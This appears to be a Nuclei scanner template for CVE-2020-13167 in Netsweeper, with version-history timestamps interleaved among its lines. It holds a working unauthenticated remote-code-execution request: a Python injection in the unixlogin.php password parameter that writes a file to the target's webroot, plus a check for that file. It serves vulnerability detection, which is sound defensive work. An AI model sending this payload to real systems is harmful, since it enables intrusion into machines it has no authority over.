2021-01-02 04:56:15 +00:00
id : CVE-2020-13167
2020-07-07 19:26:15 +00:00
info :
2022-05-17 09:11:26 +00:00
name : Netsweeper <=6.4.3 - Python Code Injection
2020-07-07 19:26:15 +00:00
author : dwisiswant0
severity : critical
2022-05-17 09:11:26 +00:00
description : |
Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
2023-09-06 12:22:36 +00:00
remediation : |
Upgrade to a patched version of Netsweeper (>=6.4.4) to mitigate this vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-03-11 16:45:17 +00:00
- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
2022-05-17 09:11:26 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-13167
2024-05-31 19:23:20 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-13167
cwe-id : CWE-78
2024-05-31 19:23:20 +00:00
epss-score : 0.97432
epss-percentile : 0.9994
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
2021-09-16 15:54:33 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : netsweeper
product : netsweeper
2024-01-14 09:21:50 +00:00
tags : cve2020,cve,netsweeper,rce,python,webadmin
2023-07-18 08:35:45 +00:00
variables :
2023-07-20 09:22:46 +00:00
rand_str : "{{randstr}}"
cmd : 'echo "{{base64(rand_str)}}" | base64 -d > /usr/local/netsweeper/webadmin/out'
2023-07-18 08:35:45 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-07-07 19:26:15 +00:00
- method : GET
path :
2023-07-20 09:22:46 +00:00
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
2020-07-08 20:02:14 +00:00
- "{{BaseURL}}/webadmin/out"
2021-09-09 13:38:13 +00:00
2020-07-07 19:26:15 +00:00
headers :
2021-09-08 12:17:19 +00:00
Referer : "{{BaseURL}}/webadmin/admin/service_manager_data.php"
2020-07-07 19:26:15 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-18 08:35:45 +00:00
part : body_2
2020-07-07 19:26:15 +00:00
words :
2023-07-20 09:22:46 +00:00
- "{{rand_str}}"
2021-09-08 12:17:19 +00:00
2020-07-07 19:26:15 +00:00
- type : status
status :
2020-08-25 22:52:00 +00:00
- 200
2024-01-26 08:31:11 +00:00
# digest: 4b0a004830460221008c62562d86e9062675832a60abae347f5564380cd4d1f3143a04618fc023ca9a022100c69d9b44376226c036805afae776400ac22ff3adc49ae438eefea5c81b5aac9a:922c64590222798bb761d5b6d8e72950